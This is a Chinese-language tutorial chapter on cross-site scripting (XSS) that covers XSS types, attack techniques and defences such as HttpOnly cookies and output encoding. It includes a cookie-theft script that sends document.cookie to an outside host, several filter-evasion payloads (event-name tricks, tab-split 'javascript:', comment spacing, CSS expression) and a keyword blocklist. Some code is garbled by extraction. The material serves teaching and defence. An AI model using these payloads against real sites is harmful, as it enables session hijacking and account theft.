第3章 跨站脚本攻击(xss)
3.1 xss简介
恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。
XSS本质就是HTML注入
XSS的分类:
(1) 反射型XSS: 一个恶意构造了Web的URL
(2) 存储型XSS:将用户输入的恶意数据保存在数据库中,此方式会持久性的影响。
(3) DOMBased XSS:根据用户输入的数据形成XSS攻击,效果类似于反射型XSS.
这三种类型中危害最大的应该是存储型XSS,因为每一次打开页面都会执行。
DOM Based XSS目前在“东方红”项目的代码中应该存在大量的,可以关注。
XSS攻击的危害包括:
q 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
q 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
q 盗窃企业重要的具有商业价值的资料
q 非法转账
q 强制发送电子邮件
q 网站挂马
q 控制受害者机器向其它网站发起攻击
3.2 xss攻击进阶
js获取URL参数:
1
2
3
4
5
6
7
8
9
10
|
function
getArgs(){
var
args= {};
varmatch =
null
;
varsearch = decodeURIComponent(location.search.substring(1));
var
reg= /(?:([^&]+)=([^&]+))/g;
while
((match = reg.exec(search))!==
null
){
args[match[1]] = match[2];
}
returnargs;
}
|
xss窃取cookie
在evil.js文件中写如下代码,存储在www.test.com根目录下:
var img=document.createElement("img");
img.src="http://www.myhack58.com/log?"+escape(document.cookie);
document.body.appendChild(img);
然后在测试页,想办法让别人运行这段代码
<scriptsrc="http://www.test.com/evil.js"></script>
然后在web日志中可查看窃取的cookie信息
构造get和post攻击
q 根据HTTP规范,GET用于信息获取,而且应该是安全的和幂等的;
q 根据HTTP规范,POST表示可能修改变服务器上的资源的请求。
所以可以从js或者使用java进行构造get和post攻击
GET和POST的区别:
1,GET请求的数据会附在URL之后(就是把数据放置在HTTP协议头中),以?分割URL和传输数据,参数之间以&相连;POST把提交的数据则放置在是HTTP包的包体中。
2,GET方式提交的数据最多只能是1024字节,理论上POST没有限制,可传较大量的数据。
3,POST的安全性要比GET的安全性高。
获取用户信息
查看当前页面的cookie:javascript:alert(document.cookie)
查看浏览器的版本:javascript:alert(navigator.userAgent)
chrome浏览器:
chrome://appcache-internals HTML5应用程序缓存的诊断
chrome://blob-internals
chrome://bookmarks 书签 快捷键是ctrl+shift+o
chrome://cache 缓存记录
chrome://chrome-urls
chrome://crashes 当机记录
chrome://credits 好像是鸣谢
chrome://dns 预取DNS记录
chrome://downloads 下载页 快捷键是Ctrl + J
chrome://extensions 扩展页
chrome://flags 实验室(危险)
chrome://flash 关於插件flash
chrome://gpu-internals gpu加速相关
chrome://history 历史页 快捷键是Ctrl + H
chrome://ipc 这个网页无法使用 chrome://ipc/ 的网页可能暂时无法使用或被永久移至新网址。=_=
chrome://inspect 检查
chrome://media-internals 不知道
chrome://memory 显示Chrome使用的内存 浏览器的PID 进程名称
chrome://nacl 关于插件Native Client
chrome://net-internals 显示所有与网络有关的信息例如Tests中能告诉你url加载失败的原因 又能强制Chrome浏览器Https加密访问网站http://www.chinagfw.org/2011/09/chromehttps.html
chrome://view-http-cache 也是缓存
chrome://newtab 新分页
chrome://omnibox 和地址栏的即时搜寻引擎一样
chrome://plugins 插件页
chrome://policy 政策 有兴趣的可以看看http://www.chromium.org/administrators/policy-list-3 我也不太懂
chrome://predictors 地址栏搜寻历史
chrome://profiler 不知道
chrome://quota-internals 可用的硬盘空间和配置文件目录
chrome://settings 设定页
chrome://stats 不知为什麼空白了
chrome://sync-internals Chrome同步细节
chrome://terms Chrome服务条款
chrome://tracing 开发工具 对Chrome的性能进行分析
chrome://version 版本
chrome://conflicts 这个页面列出了所有已载入主要程序中的模组(dll)
chrome://print 列印页
For Debug 以下是各种崩溃
chrome://crash
chrome://kill
chrome://hang
chrome://shorthang
chrome://gpuclean
chrome://gpucrash
chrome://gpuhang
firefox浏览器:
about:blank -和大多数浏览器一样,显示一个空白页面
about:blocked -显示“该网站被攻击”、“已经被报告的攻击站点”页面
about:buildconfig - 显示当前火狐的编译器和编译参数信息(不同的发行版,编译参数不尽相同,可以用这种方式进行查看)
about:credits - 所有项目贡献者
about:certerror - 显示证书失效/错误页面
about:cache - 显示缓存文件(分为 内存缓存/硬盘缓存/离线缓存 三部分)
about:config - 修改火狐的配置选项(个人认为是火狐最优秀的地方,详细说明)
about:feeds - 显示火狐feed页面
about:home - 显示火狐默认的home页面
about:license - Mozilla 和 Netscape 的公共授权许可协议(等同于 about:licence)
about:logo - 显示firefox的logo
about:mozilla - 彩蛋,显示著名的《Mozilla之书》
about:neterror - 显示网络错误页面(包括reset,connection timeout等)
about:plugins - 列出所有已安装的插件信息(是插件,而非扩展,是flash/totem-player插件,而非adblock扩展)
about:privatebrowsing -切换浏览器的隐私浏览模式(此时的地址栏不会有任何显示)
about:memory - 查看浏览器的内存占用信息(我这里显示No other informationavailable……)
about:rights - 读完了license,就要知道自己的rights了 :)
about:robots - 彩蛋而已,不必大惊小怪。
about:sessionrestore -重建最后一次会话标签
about:support -Firefox技术支持、疑难排解页面(显示浏览器基本信息;所有扩展信息——adblock是扩展,而flash是插件;人为修改过的about:config选项——这个很重要,可以依据这个回溯操作)
可以通过标签的style属性构造出XSS.
<div style"backgroup:url('javascript:alert(1)')">
xss构造技巧
q 利用字符编码---使用UTF-8;
q 绕过长度限制---使用eval函数;
q 使用<base>标签---该标签作用是定义页面上的所有使用“相对路径”标签hosting地址;
q window.name---绕过长度限制;
网络上的总结:
1、拆开value。。
校内里有这样无数个xss..
举个例子最简单……
比如:
<form action="post"name="bloodsword" value="">
xxxx
</form>
我以get举例。如果他支持get的话,很简单...
http://xiaonei.com/f**k.do?bloodsword=bink"onload=alert(/xss/);
这样。到源代码里查看,结果就变成:
<a href="http://xiaonei.com/back.do"value="bink" onload=alert(/xss/)>
这个使用在get……大部分的站,只要你自己仔细去看name。一些Hidden元素,都能找到。这个是因为没过滤掉引号惹的。
2、字符集xss inject
这个方法看服务器的吧……我也不大确定…
还有些受浏览器的限制。
比如FF
http://xiaonei.com/do.do?bink=aaa%afalert("xss")
3、针对不同浏览器构造特殊点的标签。
继续举例子。比如IE6内核的,
<imgsrc="javascript:alert(document.cookie)">
这个在IE 7以上就没了。-。- 这个IE是不是向下兼容的啊……
还有FF的video标签。
IE8开始支持一些怪里怪气的,比如锚的title标签里的javascript了。
4、自己构造绕过的。
方法其实可以参考富文本的绕过方式。
有些程序员知道要防xss,但是不知道还能绕过
知道要防止以o开头的事件,这样本以为onload onmouseover都会再见的。
但是oolooad
ooclick。。。就OK了。。
很简单,要复杂的就去看富文本
5、16进制
有些地方程序员过滤了很很很很多,几乎没辙的时候,不防试试 16进制,16进制主要是那个&#这个怕被过滤。。
6、src属性。
这个属性几乎很常用,有些站知道在那防御xss,以为只要以jpg结尾就没事了。。。
比如yahoo.。。。一个profile里的入库xss。。满足xxx.jpg就成。。
7、cookie xss
这个是……什么什么DOM 什么cookie直接输出造成的。 貌似是直接读取cookie里的xxxxxx形成的。
FF可以改cookie。直接写script就能出现cookie xss了。。。Google出现过一次。
8、DOM xss
和cookie原理类似吧。
3.3 xss的防御
3.3.1 四两拨千斤:httponly
在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击。
1
2
|
response.setHeader(
"Set-Cookie"
,"cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
|
参考:https://www.owasp.org/index.php/HTTPOnly
http://www.oschina.net/question/100267_65116
3.3.2 输入检查
对于输入检测,这是一个很有趣的现象:前端检查是防君子不防小人。后台检测是都防。所以前端后端都需要写上。
在不同的编码后(经过编码函数处理后的数据,如HtmlEncode,javascriptEncode,XMLEncode,jsonEncode)的数据长度可能会发生改变,从而会影响某些功能。
3.3.3 输出检查
使用JavascriptEncode的变量输出一定要在引号内。
3.3.4 正确地防御xss
先找问题,再想出对策
XSS的本质是HTML注入,HTML注入的原因是将数据看做了代码.
参考地址:https://www.owasp.org/index.php/Main_Page
3.3.5 处理富文本
对于富文本的防御,我目前认为比较好的方法是“黑白名单”
3.3.6 防御dom based xss
在前端使用编码函数进行过滤
3.3.7 换个角度看xss的风险
网上总结:
1、过滤”<”和”>”标记XSS跨站攻击的最终目标是引入script代码在用户的浏览器中执行,所以最基本最简单的过滤方法,就是转换”<”和’>”标记。
1
2
|
replace(str,
"<"
,
"<"
)
replace(str,
">"
,
">"
)
|
2、HTML属性过滤
使用上述的代码可以过滤掉”<”和”>”标记,让攻击者无法构造HTML标记。但是,攻击者可能会利用已存在的属性,如插入图片功能,将图片的路径属性修改为一段script代码,如
1
2
3
|
<
img
src="javascript:alert(/XSS
攻击
/)"
width
=
100
>
|
上述代码执行后,同样可以实现跨站的目的。而且很多的HTML标记里属性都支持“javascript:跨站代码”的形式,因此就需要对攻击者输入的数据进行如下转换:
1
2
3
|
replace(str,
"javascript:"
,
""
)
replace(str,
"jscript:"
,
""
)
replace(str,
"vbscript:"
,
""
)
|
一旦用户输入的语句中含有”javascript”,”jscript”,”vbscript”,都用空白代替。
3、过滤特殊字符:&、回车和空格
因为HTML属性的值,可支持”&#ASCii”的形式进行表示,前面的跨站代码就可以换成这样:
1
2
3
|
<
img
src="javascript:alert(/XSS
攻击
/)"
width
=
100
>
|
即可突破过滤程序,继续进行跨站攻击,使用代码:
1
|
replace(str,
"&"
,
"&"
)
|
上述代码将”&”替换为了”&”,于是后面的语句就变形失效了。但是还有其他的方式绕过过滤,因为过滤关键字的方式具有很多的漏洞。攻击者可以构造下面的攻击代码:
1
2
3
|
<
img
src="javas cript:alert(/XSS
攻击
/)"
width
=
100
>
|
这里关键字被空格,准确的说是Tab键进行了拆分,上面的代码就又失效了,这样就有考虑将Tab空格过滤,防止此类的跨站攻击。
4、HTML属性跨站的彻底防范
即使程序设计者彻底过滤了各种危险字符,确实给攻击者进行跨站入侵带来了麻烦,攻击者依然可以利用程序的缺陷进行攻击,因为攻击者可以利用前面说的属性和事件机制,构造执行script代码。例如,有下面这样一个图片标记代码:
1
2
3
|
<
img
src
=
"#"
onerror
=
alert
(/
跨站
/)>
|
这是一个利用onerror事件的典型跨站攻击示例,于是许多程序设计者对此事件进行了过滤,一旦发现关键字”onerror”,就进行转换过滤。
然而攻击者可以利用的时间跨站方法,并不只有onerror一种,各种各样的属性都可以进行构造跨站攻击。例如:
1
2
3
|
<
img
src
=
"#"
style="Xss:expression(alert(/
跨站
/));">
|
这样的事件属性,同样是可以实现跨站攻击的。可以注意到,在“src=”#””和“style”之间有一个空格,也就是说属性之间需要空格分隔,于是程序设计者可能对空格进行过滤,以防范此类的攻击。但是过滤了空格之后,同样可以被攻击者突破。
1
2
3
|
<
img
src
=
"#"
/**/
onerror
=
alert
(/
跨站
/)
width
=
100
>
|
这段代码利用了脚本语言的规则漏洞,在脚本语言中的注释会被当成一个空白来表示。所以注释代码就简介的达到了空格的效果,使语句得以执行。
3.4 小结
1.对于开发者,首先应该把精力放到对所有用户提交内容进行可靠的输入验证上。这些提交内容包括URL、查询关键字、http头、post数据等。只接受在你所规定长度范围内、采用适当格式、你所希望的字符。阻塞、过滤或者忽略其它的任何东西。
2.保护所有敏感的功能,以防被bots自动化或者被第三方网站所执行。实现session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查。
3.如果你的web应用必须支持用户提供的HTML,那么应用的安全性将受到灾难性的下滑。但是你还是可以做一些事来保护web站点:确认你接收的HTML内容被妥善地格式化,仅包含最小化的、安全的tag(绝对没有JavaScript),去掉任何对远程内容的引用(尤其是样式表和JavaScript)。为了更多的安全,请使用httpOnly的cookie。